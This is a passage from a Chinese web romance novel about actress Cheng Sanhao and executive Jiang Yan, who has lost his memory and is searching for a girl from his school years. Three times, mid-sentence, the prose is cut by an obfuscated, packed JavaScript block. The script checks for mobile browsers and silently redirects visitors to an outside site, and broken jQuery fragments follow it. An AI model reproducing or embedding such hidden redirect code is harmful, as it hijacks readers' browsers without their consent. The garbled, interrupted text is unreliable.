在这样极度热闹的场合下,只有两个人没有笑,一个是心不在焉咬着杯沿的程三好,一个就是觉得索然无味的江砚。 他看了好几次对面的女生,但是对方从白天开始,就一个眼神也没有给他。 程韵清心思也没怎么在游戏上,她的注意力全部都在身边的男人。 她见他坐姿慵懒,气质突出;见他低垂目光,棱角分明。 程韵清光是这样看着,就心动不已,压着害羞的心情,一双漂亮的眼睛不停地扫向男人。 江砚像是没有感知到对方灼热的视线一样,带着腕表的手骨节分明,修长温润,微微用力捏紧了酒杯,凸起的青色血管很是性感。 他没有看人,嗓音也淡淡的,像是不在乎:“你动过脸吗?” 他这话一出,程韵清当即愣住,很是不解:“……为什么这么问?” 江砚抬杯,启唇喝酒,喉结在亮眼的白光下一滚:“不要让我重复第二遍。” 程韵清脊背一凉,宛若被对方骤然释放出的凌然气息扼住喉咙。 手捏紧裙子,她不敢直视人,很小声地说:“没有。” “嗯。”男人也不知对这个答案是否满意,他神色倦怠,手指摩挲着透明的玻璃杯。 半晌,江砚突然开口问:“你喜欢我?” 程韵清还在偷看人,猝不及防地被问,整个人心都提到了嗓子眼。 她怔忡片刻,才愣愣地点头,嗓音又低又柔:“嗯。” 女人神态娇羞,耳朵红着,是个男人见着都会怜爱三分的神情。 江砚身体始终正着坐,锋利眉毛下的眼睛轻轻扫了一眼旁边的女生,笑了一下,但是这个笑不达眼底:“什么时候开始的?” 程韵清只觉得她宛若被架在炉子上热烘烘地烤着,男人轻飘飘地瞧她一眼,她的脑子顿时更加迷糊了。 她低头,嗫嚅:“就高中的时候,有一次中午,我去打饭的时候,你——” 她话还没有说完,旁边的男人突然站起了身。 “抱歉,我们下次再谈。” 说着他离开了座位,径直出了包厢。 程韵清嘴微微张着,想到什么,她看向对面的那个位置。 果然,程三好提前离席了…… 这是一家私房菜,餐厅坐落于一个胡同里。 小巷不深,却隔绝了车流声。 寒风簌簌,冷夜空寂,凉意空气扑鼻而来,程三好缩了缩脖子,裹紧羽绒服,就站在餐厅门旁边的避风处。 包厢里热,她脸颊绯红,这会儿被风一吹,脑袋顿时清明了很多。 青石块铺成的路面,淡淡的月辉倾洒着。 没有路灯照亮的小巷,凄然冷寂,而餐厅门上方的霓虹灯牌就成了这黑夜里唯一的光源所在,所照之处似乎都是温暖如春。 程三好没喝醉,身体一面被金黄的光照着,一面隐在了黑暗。 她掏出手机准备跟韩小希说自己先回去了,刚才只是骗人表示自己只是出来吹吹风。 她握着手机打字,浑然不知有人靠近。 “你要回去?”冷不丁地,耳畔响起一道男声。 程三好被吓得差点灵魂出窍,浑身汗毛都竖了起来,她闻声看去,看到是江砚。 手不自禁地扣着手机壳,女生没再看人,只是淡淡地嗯了一声。 “正好,我也要回去,一起走吗?”男人说着话,将臂弯处的大衣抖开穿上。 餐厅的光从他背后照射出来,在江砚脚下铺了一道星光,逆着光的他留下高大的剪影。 程三好盯着男人西装裤腿下露出的一截脚踝看了几秒,半晌像是做了什么决定一般,终于抬起目光与身旁的男人对视上。 “行。”她言简意赅地落下一个字,就转身朝巷子口走去。 江砚将手插进大衣口袋,默不作声地跟在了女生身后。 刚坐进车里,椅背都是冰凉的。 江砚将车内空调打开,调到合适的温度,坐直身体,手握上方向盘。 余光看到副驾驶座上的女生没系安全带,也没说什么,主动倾身过去拉住程三好右肩上的安全带,一路拉长嵌进了她左方下的凹槽里。 他侧着身,低着头,注意力都在系安全带这件事上,完成后自己脑子里也没有什么想法,当即身体就要后退。 脖颈衣领一紧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13245852|130752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他被女生突然抓着靠近。 这个位置,让程三好更能清晰地看到男人的脸上表情,她心脏剧烈地跳动着,手抓着男人衣领力道却半点未松。 尽管姿势有些别扭,但是江砚没有生气,他似是无奈又似是好笑地说道:“都跟谁学的?” 他像是没察觉到女生的异样,眨一下眼睛挑眉,微微仰视的角度,让他向上看时的抬头纹皱褶都多了几分性感。 “怎么了?”他嗓音低,说话时,喉结会在程三好的手指上来回滑动。 狭小的车内空间,所有感官都被无限放大。 车内也没有开灯,只有仪表盘上亮着紫色的光晕。 两人呼吸纠缠在一起,氛围旖旎。 程三好目光落在男人的嘴唇,也许是酒精的驱使,又或者是迫切想要证明一点什么,她这一次大胆了一些。 当一辆打着双闪的汽车从他们所在的车辆旁经过,她温热的唇微微张开,露出一点贝齿,低头就要亲上去。 呼吸越来越近,心跳声几乎要将她的耳膜击穿…… 程三好在最后关头微微闭上眼睛,轻抬下颌,就在这时,握着男人衣领的手突然一紧,脸脸颊上的温热气息褪去。 她睁开眼,见江砚偏过头,没有与她对视,视线落在后座。 如此灰暗的光线下,程三好还是看清了对方的眼睛。 那里面没有情动,只有如冰霜一般冷得人一激灵的清明。 女生倏地就放开了手,爆炸般紧张的情绪让胃痉挛成一团。 她背靠着椅背,低头看着自己手心。 江砚已经退后,身体回到了驾驶座上。 二人一时之间,谁也没有开口。 “啪嗒——” 有几滴雨滴在了车子的挡风玻璃上。 紧跟着一场小雨淅淅沥沥地,毫无预兆地就下了起来。 程三好盯着一滴雨水在玻璃上留下的水痕,难堪的情绪让她不自觉地抠着指甲。 “……江砚。”伴随着闷闷的雨声,她的嗓音又净又透地落在车里。 男人握着方向盘的手无声的地抓紧,他还未张嘴,女生的下一句话就接连而至:“你玩我?” 江砚皱眉,否认:“没有,我……” 他说着话,但是副驾驶座上的女生却好像压根不在意他的回答,咔哒的打开车门准备下车。 江砚急忙抓住女生的手腕,神情挣扎,语气中带着点恳求的意味:“……你再给我一点时间。” 程三好无语,讥讽地对着前面空中冷笑了一下。 下一秒将手狠狠地一拽,挣脱开江砚的手,抬脚果断地下了车,将车门砰地一声关上,头也不回地走进了雨夜。 江砚对着突然空出来的副驾驶座愣了几秒,突然抓住储物箱里面的雨伞,打开车门跟了上去。 女生走得飞快,他小跑几步追上人。 黑色的雨伞在空中撑开,强硬地将伞柄塞到女生的手中。 “我知道,我现在说什么你都不会听,但是……希望你可以再等等我。” 汽车轮胎淌过雨水,江砚站在马路上,而程三好侧着身站在台阶上的人行道上。 雨水将他的裤脚打湿,从他的角度看去,只能看到女生微翘的鼻头。 侧颜被长发挡住,看不清她的脸庞。 他伸手停在半空,迟迟没有落下:“我正在寻找答案,求证一件事,不久应该就会出结果了。” 女生没有动,也没有说话。 嘈杂的雨声让人心里无端地感到烦躁,他傻站着,将伞往女生跟前又推了推,言语苍白:“我先走了……你打着伞。” “不要感冒……”说着松开女生的手,淋着大雨往回走。 程三好抬脚,也往前走。 走了没几步,她突然停下,弓着腰,肩头耸动。 满是雨水的左手捂住自己的脸,指缝间泄出几声压抑的哭腔。 “……江砚……王八蛋……” 早知就应该躲得远远的…… 71. 谈过恋爱吗? 女生撑着黑伞漫无目地走了很久,直到小腿发胀,脚底生疼,才堪堪停下脚步。 她不想回到公寓,因为外婆一看她的眼睛就能猜出一些事情来,所以她打算在附近找个酒店休息一晚,等明天眼睛消肿了再说。 雨已经不知何时停了,她清清嗓子,整理着自己的情绪,直到与一个正常人无异,才打电话给了黎芳园。 “喂,好好……” “嗯,外婆。” “我刚要打给你呢,这么晚了还没回来,不是说和节目组的人在聚餐吗?” “对,大家现在吃的差不多了,因为时间有点晚了,所以导演给我们嘉宾每人免费开了一间房,我们可以先住一晚,明天再启程回家。” “嗯,原来这样啊,但是你的鼻音怎么那么重,感冒了吗?” 程三好使劲地吞咽着唾沫,周围寂静无声,只有听筒里面传来的人声才能让人感觉到一丝慰藉。 她难得语气放软了一些:“我喝酒了,外婆。” 那头的黎芳园一听,人就急了:“你这是在哪儿啊?怎么也听不到其他人的声音?喝醉了吗?拿电话给你旁边的人,快点。” 程三好笑出声:“我正在回酒店的路上,我没有喝醉,外婆……就是突然有些想你。” 黎芳园有些时候的性格和程三好很像,或者说程三好某些方面就是跟她外婆一个模子里面刻出来的。 她听不得这么直白的话,整个人佯装严肃:“这是受了委屈了?还是怎么的,突然这么不着调。” 程三好收了伞,向着地图上标记的一处地点走去,她的心情已经没那么郁闷了,只是有一种莫名的亢奋,莫名地想发疯,想歇斯底里…… 她对着手机狠狠地亲了一口,变得有些不像她:“我爱死你了,外婆!你最好了!” 那头的黎芳园已经下了判决书,外孙女就是喝醉了。 程三好笑得开怀,眼角却有泪。 她想通了,不爱我的,我不爱…… 爱谁谁吧,爱咋滴咋滴。 她程三好又不是非他江砚不可,七年前栽了一跟头,七年后同一个坑里再摔一跤,她老实了。 果然情情爱爱什么的,一点也不适合她。 回想起这段时间与江砚的种种,她只觉憋屈。 小心翼翼地看别人脸色,生怕他不高兴,仔细揣摩着他的想法,不想让自己显得特立独行。 喜欢一个人的感觉果然很辛苦…… 这苦她吃不了一点。 她还有很多事要去做,伤口的愈合就交给时间吧。 说了很多让外婆黎芳园不要担心的话,她关闭手机,觉得此时脚下走路带风,轻快洒脱了一些。 好不容易找到一家酒店,前台跟她说:“抱歉,小姐,我们已经没有空房间了。” 程三好微笑:“没关系。” 然后她继续寻找下一家,结果还是满客。 她心态这时也强得可怕,对于找到酒店这一件事乐此不彼,在十点的钟声敲响之前,她终于找到了一个标准单间,两百八一晚上。 中途朋友们接二连三打电话过来,询问她的情况,她耐心地接了,并告诉他们,她现在的状态十分ok。 这些做完以后,她又上网打开微博,和自己的黑粉大战了三百来回合,才终于偃旗息鼓放下了手机。 身体呈大字的形状躺在酒店的床上,她的头发末端还有点湿,没有洗澡,深夜寂静,无人打扰。 大脑很亢奋,全是乱七八糟的想法,凌乱的画面,男人的眼睛……想到这儿的时候,程三好盯着天花板上的白炽灯愣愣地看了几秒,直到眼睛酸痛才将自己用被子裹成一个粽子,决定强行逼自己入睡。 今晚很难过,但明天太阳一定会升起…… 她这样安慰自己,将心里那股酸酸堵堵的感觉压下去。 翌日,下着小雪。 程三好看着镜中的女生。 她的眼睛浮肿,双眼皮突出,黑眼圈强势霸占大半张脸,头发炸毛,脸色跟一条死了三个月的带鱼一样臭。 她试着对着镜中的女生笑一笑,结果更瘆人了。 一夜之间,她好像被什么榨干了精力,那眼神透着浓浓的疲倦,好像昨天说励志要搞事业的女生不是她一样。 程三好叹了口气,食指碰到镜面:“人啊,果然是被情绪支配的动物。” 她感叹完这一句,拖着懒洋洋的身体冲了一个澡,洗了头发,吹干,梳顺,才离开了酒店,准备前往下一个赴约地点。 昨天张导与她说,他手中有一个本子,其中的女二角色觉得挺适合她的,希望今天她能够出来与制片人见面。 如果交谈得顺的话,角色基本就是内定了。 经过一家商场时,她驻足,想了想还是钻了进去,买了一副墨镜,遮住自己的核桃眼。 张导选的地点是一家咖啡厅,她刚进去,靠窗位置的张导就对着她挥了挥手。 她径直走了过去,在他的对面坐下。 桌子上显然除了他以外,没有旁人,程三好点了一杯苏打柠檬水,抬眼问张导:“制片人不来了吗?” 张导低头看了一眼手表,也疑惑:“不应该啊,我和老汪约定好是上午十点,这都马上要迟到了,他也没到。” 他说着,就要起身去到外面打电话询问。突然看到不远处的江砚,他来的方向正是他们二人所在的位置。 还不用他开口问什么,江砚已经到了跟前,整个人情绪非常淡:“老汪儿子急性肠胃炎,住院了,拜托我过来给他面试个女演员。” “原来是这样……我说他怎么也不回我消息,原来是忙不过来了。” 江砚嗯了一声,目光不着痕迹地看向张导后面的女生。 她脸上戴着个巨大的墨镜,几乎遮住了她上半张脸,侧着头看着窗外,像是不在乎他们之间的谈话。 张导完全不知二人至今发生了什么,他觉得大家都是熟人,整个人放开了一些,让江砚坐到了程三好的对面,自己则坐到里边位置。 “好了,既然大家都认识,我也长话短说,我们接下来要拍的这个电影叫《长风有归处》里面的女二是一位——” “等等……”男人不急不慢地打断他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281082|130752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 紧接着抽走了他手中的一个册子,翻开问对面的人:“程三好是吧?” 他公事公办的态度让程三好心揪了一下,面上若无其事地道:“是。” “年龄?” “二十四。” “毕业于哪所学校?” “淮江影视学院。” “以前谈过恋爱吗?” 程三好没说话。 低头看着册子的男人微掀眼皮:“不说就是默认。” 程三好笑起来:“这也是面试内容?” 江砚说:“是。” 程三好也不知信没信,点头:“没谈过。” 江砚翻纸张的手一顿,目光直视女生:“学生时代那种疾疾无终的情感经历也没有?” “疾疾无终……”程三好念着这几个字,迎着他的视线,再次点头:,“没有。” 察觉到气氛怪异,张导坐不住了,刚要说话,男人手中的册子就拍在了他的脸上。 不疼,就是刻意打断了他。 张导识相地将本子接过来,下一秒就听江砚说道:“柳如烟这个角色一生为情所困,三个男人分别占据了她的青年、中年、老年时期。每个人都给了她承诺,决定要给她矢志不渝的爱,可最终柳如烟也没能如愿。” “她性格豪爽,仗义行侠,可又偏偏渴望爱情,她骗得了自己,却骗不了自己的心。始终坚信会有一个人是为了爱她而来,可是当她第三任夫君远离她而去后,她突然选择剃发入家,选择成为一名尼姑……从此青灯古佛,三千长灯相伴。” “这个人物有多面性,很矛盾,你觉得自己为什么能演好?凭什么能演?” 程三好这时才明白,从始至终,心悬在半空的只有她一人,而对方在认真地工作,认真地对待自己的事业。 膝上的手不自觉地捏紧,她思忖着,半晌说:“理想主义的土壤上开出现实的花朵,那是因为从一开始,土壤只是一片普通的土壤,种下的种子也是现实的种子,并不会因为你虚无的幻想而开出理想的花朵。” “人一生就是不断地在两者之间择其一,找一种活法。柳如烟前半生选择了理想,后半生回到现实,看清了自己,也放下了执念,也挺好的。” 程三好说完,突然话风一转:“这个剧本我今天才看到,回去我会选择合适的片段试演一下,录下来发视频给你。” 江砚微微向后,靠在椅背上,他说:“可以。” 程三好见面试结束,就站起身准备告辞:“张导,江……江总,那我先走了。” 张导挥了挥手,不敢多说什么,免得惹旁边这位大佬不高兴。 江砚缄默,女生路过他身旁时,风微微吹动衣角。 程三好已经离开咖啡厅走了好远,这才想起自己的围巾落下了。 那条围巾是黎芳园亲手给她织的,尽管现在她非常不想再看见江砚,但还是不得不折返回去,准备取回自己的围巾。 然而,她推开咖啡厅的玻璃门,却发现自己刚才的位置上已经坐了人。 虽然对方戴着口罩,但是她一眼就认出来,那是程韵清。 72. 你不是她 程三好转身欲走,突然瞥见背对着她的男人怀里抱着的正是她的围巾。 她犹豫了,围巾今天她是非拿不可的,人她是不想见的,最终她决定找一个位置坐下来静观其变。 她低着头,尽量放低自己的存在感,就坐在江砚背后的一张桌子上,拿过一旁的杂志趴在桌子上挡住自己的脸。 她心想待会儿要是江砚拿走了她的围巾,那她再想办法,如果留在了原地,等他们一离开,她就可以拿走。 她这样想着,三人的对话一字不落地入了她的耳朵。 从程韵清和张导的交谈中不难得知《长风有归处》这部电影的女主角可能正在接触程韵清,有她这样的顶流坐镇,到时候电影票房肯定少不了,所以张导说话的态度放得很低。 而程韵清的态度模棱两可,只说是经纪公司可能不大同意,她倒是挺喜欢这个角色的。 张导又是一番拉拢,说女一这个角色如何如何有魅力,如何如何会让她出圈,绝对不会成为无效的饰演角色。 似乎是张导的真诚打动了程韵清,女方终于给出一个较为明确的答案:“我回头与我的经纪人说说,他现在对于我选角上给的自由度很多。” 张导也没有想到那么轻松地拿下了合作,在接下来的交谈中,显然深入了很多,也专业了起来,听得程三好昏昏欲睡。 她索性闭上了眼睛,在黑暗中胡乱地想着,江砚那么一个大活人,好像没有长一张嘴,硬是全程没有说一句话,与刚才面试她的情景完全不一样。 “回头我们拟一份合同,确定好了就签约……” 凳子发出吱呀声,程三好神经一动,意识到前桌的三人可能已经交流完了,准备散会。 她大气不敢喘,就保持着趴在桌子上的动作。 “没想到你是这么豪爽的女演员,我十分期待咱们接下来的第一次合作。”张导伸出手友好地与程韵清握住,脸上喜色难掩。 程韵清回握:“希望张导在接下来合作上也可以多多包容,毕竟我在电影这方面还稍显薄弱,需要你的指教。” 对方态度谦逊,为人低调,这让张导更加喜笑颜开:“好说,好说。” 二人寒暄完,江砚率先转身,刚想从过道径直走过,突然瞥到了什么。 他不动声色地停下脚步,往旁边让让,站到了他们刚才的桌子和后方的一张桌子之间的过道。 “我还有事,你们先回去。” 张导向来不会过问老板原因,他点头应道:“好的。” 程韵清站在主过道,似是不在意地扫了一眼左前方的桌子上某个趴着的人影,提着名贵包包的手指无声抓紧。 她今天画着全妆,虽然戴着口罩,但是眼妆依然非常漂亮。她没有急着走,只是深深地看着男人,喊他:“江砚,我可以约——” “程小姐,”江砚的脸肉眼可见地变冷,“我想我们还没有亲近到互相称呼对方名字的时候。” 程韵清觉得对方的话真伤人,心里难过的情绪全跑她眉眼上去了。 她用和程三好相似的眼睛,楚楚可怜地看着男人,以为男人会有所触动,谁料对方注意力压根不在她身上,正微微侧头饶有兴趣地看着旁边桌子上的女生。 她从小到大样样优秀,如今这般挫败的局面倒是绝无仅有。 她有点不甘心,还想说什么就被和事佬的张导打断:“既然江总还有事,那小程,我这样叫你可以吧,我们先出去,正好我想与你再探讨探讨剧本。” 程韵清又看了江砚一眼,才嗯了一声和张导一前一后出了咖啡厅。 装睡的程三好微微吐出一口气,眼皮一动,她没睁开,因为她知道男人还在。 只要他不离开,她就决定装睡到底。 江砚站着这个角度,可以轻轻松松地越过女生竖起来的杂志,看清她侧着的脸。 也不知道是她的身体软,还是怎么强撑着,他疑惑,怎么人可以服服贴贴地与桌面形成一体,趴着一动不动。 他就这样看着,也不说话,而女生也是个狠人,愣是抖都没抖一下。 这种架势就是大有以后除了工作之外,不想和他有所接触。 程三好手臂开始发酸,她皱了一下眉,心里正要开始骂脏话时,忽然听到正前方的人影好像叹了一口气,紧接着没过几分钟,皮鞋踩在地面木板上的声音响起。 是江砚从她身旁走了。 她静静地又待了片刻,才睁开眼睛,放下杂志。 看清桌子上的东西,她微微愣神——那是一条已经折叠好的围巾。 …… 拍摄电影不比拍摄电视剧,保密工作必须做得很到位。 在《长风有归处》这个项目落实之后,提前一个月就已经搭建了相关场景。 虽然电影不是江砚公司制作的,但是他私人出钱投资了近两亿,还担任了监制这一职务。 天气越来越冷,进度也比较赶,所以无论是在片场还是休息室,演员们人手不离剧本,都在背台词。 江砚和导演组的人开完会,刚出房间,瞥见不远处的身影时眸光一顿。 女生的发型已经做好了,她孤零零地待在房檐下蹲着,不像其他演员三五成群扎一堆,有说有笑。 如今和经纪公司的合同好像已经到期了,她没续,那就是一个人单干的状态。 程韵清这种档次的女艺人,对方在片场上那条戏刚过,助理就会给人披上羽绒服,拿来暖手袋。而程三好这样的,就只能忍着寒冷在大雪里拍完戏,然后回到休息室重新给自己套上厚实的衣服。 江砚看着这个画面,也不知怎么想的,等他反应过来的时候,他已经漫步来到了女生的身后。 她做笔记做得专心,右手露出两根手指握着水性笔在剧本上标注。 女生的字如她本人的性格一般,清秀圆润,却又不露痕迹得透着一股不羁的遒劲。 看她写着字,江砚的脑子里却突然冒出了好多画面,好像他也曾这般以这样的角度,看着某个人在白纸上涂抹。 甚至最后回忆中,男生有在拨弄女生的手,意在纠正她的握笔姿势。 【你得将笔杆轻轻搭在中指上,不是手指用力,是手腕用力。】 【嗯嗯……这样对吗?】 青涩的男声女声交织在江砚的脑海,萦绕在他的耳畔。 他想回忆起更多的细节,然而任凭他怎么想,除了头疼得快要爆炸一般,什么也想不起来。 “老板。”江邱的声音在旁边响起。 眼前的黑暗褪去,江砚睁眼,这才发现自己面前没有什么人,程三好不知何时已经溜了。 “看你一个人站在这儿好几分钟,是头又疼了吗?”江邱怀里抱着文件,神色担忧。 江砚神色疲倦,笑了一下,只是这个笑有点苦涩:“没事……我让你统计的那一件事怎么样了?” “除去已经拜访过的,还有不知行踪得不到联系的,剩下的只有十二个人了。” “嗯,”江砚掐着眉心,难得透出一点急迫,“尽快将我行程安排出来,走访的事越快越好。” “好的,老板。” 临近中午,导演发话可以休息一个小时之后再开工。 剧组的伙食不错,只是程三好打开饭盒的一瞬间,看着里面其中两道菜都有香菜,突然就没这么饿了。 想着下午还要拍两场戏,她还是得吃饭,虽然只有大米饭和一道红烧肉,但是她吃得相当满足。 江砚的饭是江邱专门从餐馆里面提前预定的,他坐在监视器的后面,余光里看到江邱打开的饭盒。 他心念一动,语气随意:“今天谁订的盒饭?” 埋头狂趴着米饭的张导嘴里的饭都还没有咀嚼完,就说:“我助理小何订的,怎么了?” 江砚递过自己手中完全没有打开的饭盒给江邱,吩咐他:“给程三好送去。” 江邱接了过来,点了点头转身走了。 见人离开,江砚倾身向前,从桌子上摆着的盒饭中随便拿过来一盒打开就吃。 “炒菜里都放了香菜。” 张导不知他这话何意,但是能大概猜出也许对方是不喜欢吃香菜。 他连忙替自己的助理解释:“是我没向他说清楚。” “你这不是没说清楚,是他在擅作主张。” 江砚架着二郎腿,目光懒散:“同剧组的大家每天都在辛苦工作,吃饭时还要被强行接受他人的喜好,时间长了,不该有意见的人也会有意见。” “江总说的是,待会儿我会好好给他说说。” “待会儿你让人做个整体问卷调查,列出一个名单,有哪样食物是大家都避讳的,以后就尽量不要点。” “是是。”张导觉得手里的饭都不香了。 江砚见江邱回来了,没再说什么,看到他手中原封未动的饭盒。他默了片刻,薄唇微启:“她怎么说?” 江邱:“没说话,只是摇头,然后像是对我避之不及一般起身去其他地方了。” 见自家老板没有说话,江邱站着,问:“那……这饭怎么处理。” “……丢了吧。”半晌,男人淡声道。 江邱欲言又止,最终还是找起了垃圾桶,准备按老板的吩咐行事。 他刚转身,程韵清就径直从他身边经过,去到了江砚跟前。 女人身上还穿着戏服,细腰盈盈一握,在众人都没有反应过来时,她对着江砚抛了一个红苹果,准确的来说是放,不过速度太快,苹果从江砚的胸口一路滑至腿间。 他下意识接住,微微出神的功夫,程韵清已经转身跑了。 张导全程目瞪口呆,反应过来后,就是一副吃瓜但是不敢表现出来的样子。 他偷偷瞄了旁边的男人一眼,戏谑的话还没说,就被对方骤然之间拉下的脸给搞得心惊肉跳。 他和江砚合作这么多年,虽说的确见过他不少冷脸的时刻,但是像此时一般近乎压着暴戾情绪呈现出的冷然,还是头一回看见。 下午的雪变大了,温度也降了好几度,片场上,除了正在走戏的演员,其余的人都很安静。 “卡——韵清,你这里怎么回事。”导演拿过对讲机,眉头紧蹙。 程韵清看了他旁边的男人一眼,很是不好意思:“抱歉导演,我手冻僵了,解不开。” “助理呢,赶紧拿暖水袋捂一下!”张导说话声音很大,说完还心有余悸地看了侧旁的人一眼。 一整个下午,江砚都坐在监视器后,翘着二郎腿,双手交叉放于腹前,就这样一言不发地盯着前方。 他这样一尊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13300115|130752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大佛待在那里,别说张导如芒在背,坐立难安,其他人包括演员,没一个不紧张的,生怕自己哪里没做对,或者哪句话说错了,惹得这位大佬又不高兴。 那大家到时候晚上可能就要加班到很晚,才能完成拍摄任务。 程三好不知江砚这人在发什么神经,她独角戏几条就过了,但是和饰演男二的那个男演员搭戏,对方频频ng,她被迫跟着演了一遍又一遍。 等到收工的时候,天已经完全黑了。 她上了一个厕所,站在洗手池前冲水,听到外面休息室有人在说话。 “这块腕表的设计师是我朋友,他得知江总你喜欢的话,想必会非常高兴。” “是吗?” “是的,我不骗人,听说你早年间因为戒烟,食指腹部留下了一个茧?” “……” “……我爸爸的同事对于无痛激光去除疤痕很有自己的研究,如果你感兴趣的话,我可以推荐你们认识。” “程韵清,你——” 看到从卫生间出来的人,江砚停了话头,神情间闪过一丝错愕,显然没想到会有人在。 程三好看都没看一眼,若无其事地拿上化妆桌上的保温杯,转身从他们二人面前走过,开门出去又反手关上。 角落里的江邱扶着镜框往上推了推,下一秒果然听见男人说:“去送人,她不上车的话……跟着。” “好的。” 程韵清咬了咬嘴唇:“既然这样,那待会儿江总坐我的车回去?” 男人低头抚摸着自己的领带,犹自说道:“这条领带她洗过,她抓过,明明已经使用过了很多次,但我仍觉得,她的温度留在了上面。” 程韵清的笑快绷不住了:“白天那个苹果——” “我丢了。”江砚掀起眼皮看她一眼。 见前面的女人一副泫然欲泣的表情,他神色依旧:“我不知是我什么行为让你产生了错觉,但以后还请程小姐自重,除了工作的时间,我们最好不要碰面。” “江砚……”程韵清没想到对方态度变得这么快。 “听不懂话的人真的非常麻烦……”男人耐心告罄,半点体面也不留,“我不知从哪儿走露了风声,还是你从什么途径得知的,很多时候,你的诸多行为的确很像她。” “你在说什么,我听不懂。”程韵清面色疑惑。 “你知道我在说什么。”江砚目光发冷,语气一沉,“我失忆这件事情除了我的亲人和秘书,根本不可能有人知道,而你知道了……” “我让人一查,才发现当年我发生车祸后治疗的那所医院院长正是你的爷爷,所以想来你是从他那儿知道的。” 程韵清见他都已经知道了,索性承认:“我就是想知道这么些年,你过得好不好。” 她话音刚落,男人突然偏头冷笑出声:“我不向外人说,就是因为说了怕有人就像你一样趁机钻空子,别有所图地靠近我,混乱视听。” “江砚你说话未免太过难听!” “难听?”男人的眼睛像狼一样敛着冷霜,“综艺收官那天,我问你,你动脸没有,你说没有,但是——” 江砚直视人:“我看过二十一班的同学合照,你以前可不长这个样。” 程韵清最后的伪装碎成一片,不甘心:“过去对于你来说就这么重要吗?你完全可以重新开始,接纳新的女生。” “很重要,七年前的那个女生对于我来说很重要,”江砚神色认真到有点严肃的地步,“随着能回忆起来的东西越来越多,我便越发坚定了要找到她的这一想法,冥冥中……我可能欠了她什么……是要还回去的……” “那你怎么确定程三好就一定是你在找的那个女生呢?要是最终你一辈子也没有想起来,真的就心甘情愿就认她程三好了吗?” 江砚这一次陷入了沉默。 程韵清已经放下了执念,本来只是随意地一说,见此情形,心里十分爽快。 作为他俩曾经的同学,她可谓见证了江砚和程三好在高中是如何从陌生的关系发展到到最后不舍分开的全过程。 她不想直接告诉蒙在鼓里的男人,可她又忽略不了内心最后一点良知,给了一点提示:“……当年的生物老师你能记得吗?” 江砚皱眉:“没印象……” 程韵清抱着手,整个人姿态放松了很多:“你去找她吧,说不定能记起来更多细节。” 江砚不傻,听出了人家话里的意思,他颔首:“谢谢。” “别,我可不想听,本来想追你的,但现在你心意已决,我可没有什么棒打鸳鸯的癖好。” 江砚语气随和了很多:“总之还是谢谢你,为我提供了一点线索,还有——” 他似乎意有所至:“做自己就好,没必要模仿别人。” 虽然他话说的在理,但是言语这么直白,让程韵清更加生气了:“我的事不用你管。” 说着她招呼自己的助理:“走了。” 打开门时,她没有回头,语速很慢:“江总,女生是需要明确指示的,喜欢这一件事本身就是要说出来,对方才懂。” 无人知晓程韵清在说这一句话时的心境如何,只是在她说完这一句话后,她毅然踏进了雪夜,并在之后不久,改变自己眼妆,重新纹回了属于自己的眉形。 73. 原来是你 经程韵清提醒,江砚神奇地想起了这位生物老师。 她叫李芳,在他的印象中,为人亲切,不拘泥于传统的教学风格,课堂上和学生们总是能玩到一起去。 江邱当初帮他调查高一那件事时,那些文件给他保存在了手机。 他点开放大,查询到这位李老师现在居住的地址,离他这里有四百多公里,全程开车的话只需要五六个小时应该可以在天亮之前到达。 他收起手机,没通知江邱,自己开着另一辆车前往这个地点。 已经夜间十点过了,他甚至等不到第二天,他的心不知为何而雀起,只想尽快得知真相,他不想再等待了…… 天边晨光微亮,江砚一宿没睡,他的车停在小区里,一直等到时间七点半后,他才打开车门下了车。 整理着自己的着装,坐电梯一路到了八楼,站在防盗门前,他吐出一口气,难得有点紧张,然后按响了门铃。 来开门的是李老师的儿子,对方膀大腰圆,语气不善:“你谁啊?” “李老师的学生。” “我怎么不记得我妈带过你这么一个学生。” “……我叫江砚,你跟她说一声我的名字,她会知道的。” 男子目光狐疑,还没说什么,屋内就传来了一道女声:“让他进来,小阔。” 叫小阔的男人让开身体,戒备的眼神还是停留在江砚的身上。 李芳正坐在客厅沙发上,她戴着眼镜,手中拿着一本植物学相关的书籍。 江砚看着前方的女人,发现她真的衰老了很多,人也变瘦了。 “江砚?” “嗯,我是。” 李老师的笑很亲切:“哎呀,时间过得真快,转眼之间你已经长这么大了。” 她语气感叹,目光慈爱地看着自己这个学生,像是越看越满意,她神色骄傲:“真好,长大成材了。” 江砚坐得笔直,嗯了一声。 女人将书放下,眼睛还是看着人,见他十分拘谨,就佯装生气道:“虽然当时我只教了你一学期,但之后几年里你就与老师断了联系,我还以为你不认我这个老师了呢。” 江砚连忙否认:“没有……” 